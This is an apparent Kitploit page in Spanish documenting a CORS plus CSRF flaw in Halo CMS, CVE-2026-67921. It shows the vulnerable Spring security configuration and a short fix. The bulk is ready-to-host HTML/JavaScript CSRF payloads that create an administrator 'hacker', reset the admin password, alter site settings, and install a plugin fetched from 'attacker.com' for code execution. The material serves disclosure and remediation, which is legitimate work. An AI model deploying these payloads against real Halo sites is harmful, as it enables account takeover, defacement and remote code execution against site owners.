halo-cors-csrf-CVE-2026-67921 — Prueba de concepto que demuestra una configuración incorrecta combinada de CORS y una omisión de la protección CSRF en Halo CMS, lo que permite ataques de falsificación de solicitudes entre sitios para crear usuarios administradores, cambiar contraseñas, instalar complementos y modificar contenido. | Kitploit

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← CUALQUIER origen
    configuration.setAllowCredentials(true);                // ← Permitir cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Rutas de API excluidas de CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

┌─────────────────────────────────────────────────────────────┐
│  El atacante aloja una página maliciosa en evil.com         │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  El navegador de la víctima visita evil.com                 │
│  → El formulario se envía automáticamente a la API de Halo  │
│  → El navegador incluye la cookie de sesión automáticamente │
│  → CORS: Origen * + credentials: true → ¡Solicitud permitida!│
│  → CSRF: /apis/** excluido → ¡No se requiere token!         │
│  → La solicitud se ejecuta con los privilegios de la víctima│
└─────────────────────────────────────────────────────────────┘

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

<html>
<body>
<script>
  // Cambiar el título del sitio
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página intentará modificar la configuración de Halo cuando se cargue.</p>

<script>
// Probar CSRF modificando el título del sitio
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">¡ÉXITO! El ataque CSRF funcionó.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Falló: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Ataque	Impacto	Severidad
Crear usuario administrador	Compromiso total del sistema	Crítica
Cambiar contraseña del administrador	Toma de control de la cuenta	Crítica
Instalar plugin malicioso	Ejecución remota de código	Crítica
Modificar contenido	Desfiguración	Alta
Eliminar datos	Pérdida de datos	Alta
Robar datos	Divulgación de información	Alta

// Eliminar las exclusiones de API del matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Protección	Solo	Combinada
CORS `*`	Bloquea credenciales (impuesto por el navegador)	¡Credenciales permitidas!
Sin CSRF	Protegido por Same-Origin Policy	¡Evadido por CORS!
Resultado	Seguro	CSRF completo

halo-cors-csrf-CVE-2026-67921

Más Populares

Acerca de

Versiones Afectadas

Detalles de la Vulnerabilidad

Vulnerabilidad 1: Configuración incorrecta de CORS

Vulnerabilidad 2: Bypass de Protección CSRF

Mecanismo del Ataque

Por Qué Esta Combinación es Peligrosa

El Flujo del Ataque

Escenarios de Explotación

Escenario 1: Crear Usuario Administrador

Escenario 2: Cambiar la Contraseña del Administrador

Escenario 3: Instalar Plugin Malicioso (RCE)

Escenario 4: Modificar el Contenido del Sitio

Prueba de Concepto

Prueba CSRF Básica

Pasos de Verificación

Análisis de Impacto

Remediación

Solución 1: Restringir Orígenes CORS

Solución 2: Habilitar CSRF para Rutas de API

Solución 3: Usar Autenticación con Token Bearer

Referencias

Cronología